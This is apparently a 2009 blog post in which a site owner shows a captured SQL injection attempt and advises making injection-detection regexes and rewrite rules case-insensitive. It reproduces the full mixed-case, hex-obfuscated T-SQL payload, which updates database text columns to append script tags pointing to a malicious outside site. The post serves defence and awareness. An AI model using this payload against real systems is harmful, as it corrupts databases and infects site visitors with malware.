Friday, 25 September 2009

SQL Injection Case unsensitive

SQL Injection Hack Strings

I have just had a look at some recent hack attempts on one of my large systems and I noticed that a lot of the SQL injection hack attempts are using a mixture of cases e.g

deClaRE @s vArchAR(4000);SeT @S=caSt(0x4465636C615245204074205641524348415228323535292C404320766172434841522832353529206465636C415245205461426C455F637552734F5220437572536F5220464F722073456C65637420612E6E614D452C422E4E614D652046526F4D207359734F426A6543547320612C737973434F6C556D4E73206220774865526520612E69643D422E696420616E4420412E78547950453D27552720414E442028622E78545950653D3939204F7220622E78547970453D3335204F5220422E58745950453D323331204F7220622E58547970453D31363729204F70654E205461624C455F637552736F72204645744368206E4578542046524F4D205461626C455F435552736F7220694E544F2040542C4063207748496C4528404046657463685F5374615475533D302920426567496E20457845432827557064617465205B272B40542B275D20736574205B272B40632B275D3D727472494D28436F6E7665525428766152436861522834303030292C5B272B40432B275D29292B434173542830583343373336333732363937303734323037333732363333443638373437343730334132463246373737373737324536323631364536453635373236343732363937363635364532453732373532463631363437333245364137333345334332463733363337323639373037343345206153205641526368415228353629292729204645746368206E6558742046524F6D205441626C655F635572734F7220696E744F2040742C404320654E4420436C6F7345207461626C455F435572736F72206445416C6C6F43417465205461426C655F635572736F5220 as varchaR(4000));exec(@s);-null


You should always ensure that any regular expressions employed to detect SQL injections are case insensitive so that they match strings like this. They have obviously started employing this technique to catch out those people who forgot to add the appropriate flags to any ISAPI rewrite files (I or NC depending on the rewrite engine you are using).

Same goes for any manual regular expression tests in the application. Always ensure that you match all text cases. You would hate to be caught out because of something as simple as this right?

If you have been caught out and need to resolve a database infected with numerous SCRIPT tags all pointing towards dodgy virus infected sites with a .ru domain then I recommend checking out my database clean up script:


Or if you need some hack plasters to place on your system until your can resolve the underlying issue that allowed the hack check out this article:

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